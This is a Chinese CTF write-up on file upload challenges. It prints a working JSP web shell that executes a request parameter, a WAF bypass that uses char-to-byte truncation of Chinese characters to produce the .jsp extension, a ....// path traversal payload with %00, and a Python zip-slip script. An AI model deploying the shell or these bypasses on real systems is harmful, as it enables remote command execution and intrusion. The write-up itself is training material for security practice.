文件上传练习
1.Ghost Bits Waf绕过 文件上传
打开环境,一开始以为还是php的类型上传于是一直在尝试上传php,但是后面发现不对无论如何变他的内容,虽然可以进行上传但是内容我无法执行,一直以文本的形式进行回显,然后搜索得知这个题目是一共java的上传环境,前端使用的是jsp文件,尝试上传验证时发现确实是

然后还有一种方式就是构造500,查看回显,发现是利用java语言写的也可以再次认证这个上传文件需要构造jsp以及对应的执行语句,对于其中的执行一句我尝试了很多的方式去连接蚁剑但是最后都无法连接成功不是返回空,就是报错。后面是利用的hackbar进行的执行执行命令语句来进行做的
构造的构造的执行语句为
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
ProcessBuilder pb = new ProcessBuilder(cmd.split(" "));
pb.redirectErrorStream(true);
Process p = pb.start();
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = r.readLine()) != null) {
out.println(line);
}
} catch (Exception e) {
out.println("Error: " + e);
}
}
%>
还有一点就是java不像是php其后缀无论如何变只要大题不变都可以被php的解释器进行解析然后执行,但是java不是java的逻辑是路径映射,只要你不匹配 mapping,就不会执行 JSP 引擎。所以只要jsp后缀才可以被执行。
然后因为
Java的char是16位unicode编码,byte是8位,当代码写成 (byte) ch 时,本质是在做一次从 16 位到 8 位的截断。 例如:“陪”这个汉字的unicode编码为U+966A,对应十六进制为0x996A,当进行byte转换时会舍弃高8位,保留低8位。那么“陪”变成了0x6A对应的ASCII码为字母‘j’。
所以我们可以利用陪来代替j,应该还可以利用其他汉字可以代替另外两个
p的ASCII的值为0x70
S的ASCII的值为0x73
小端序,LE
灰 的UTF-16为0x70 0x70 低位为0x70
灳 的UTF-16为0x70 0x73 低位位0x73


发现确实可以。然后利用hackbar,执行命令获取flag

flag{3cbdb3e2a0fd4d41a173582ab566a182}
静态网站怎么打
这个一开始可能会有些不动,但是把其他的免费的靶机刷完就可以理解了。
打开之后发现没有上传入口,尝试在站点后输入,tmp/flag。发现没有用然后点击首页发现一个网站中的一个导向page,于是利用双写绕过尝试一开始没有出来应为我没有进行%00截断,导致他没有终止点,输入截断点%00时就会出现flag
....//....//....//....//....//tmp/flag,txt

然后就是利用dirsarch进行扫描得到一个管理员后台和一个 /Dockerfile


然后访问Dockerfile得到账号密码

登录之后发现一个文件上传点

然后对于这个文件上传点又有一个知识点就是他是自动会部署你上传的文件,但是不是在更目录.所以我们要利用我们在我们的压缩包使其解呀的时候自动解压到文件根目录也就是目录穿越
import zipfile
php = ''''''
with zipfile.ZipFile("1.zip", "w", zipfile.ZIP_DEFLATED) as z:
z.writestr("../get_flag.php", php)
这里的 z.writestr(“../get_flag.php”, php)就是../get_flag.php就是一个目录穿越,然后访问得到flag,对于为什么只穿越一次对于解题来说应该只能一个一个试了应为../…/会被重定向到首页

flag{dad2c46f615a47b6b0aaecc10c5caeeb}
测试后发现上传的目录位upload,所以需要一次目录穿越就行了,但是在真正做题的时候还是需要进行猜应为这个靶场无法进行访问upload这个目录










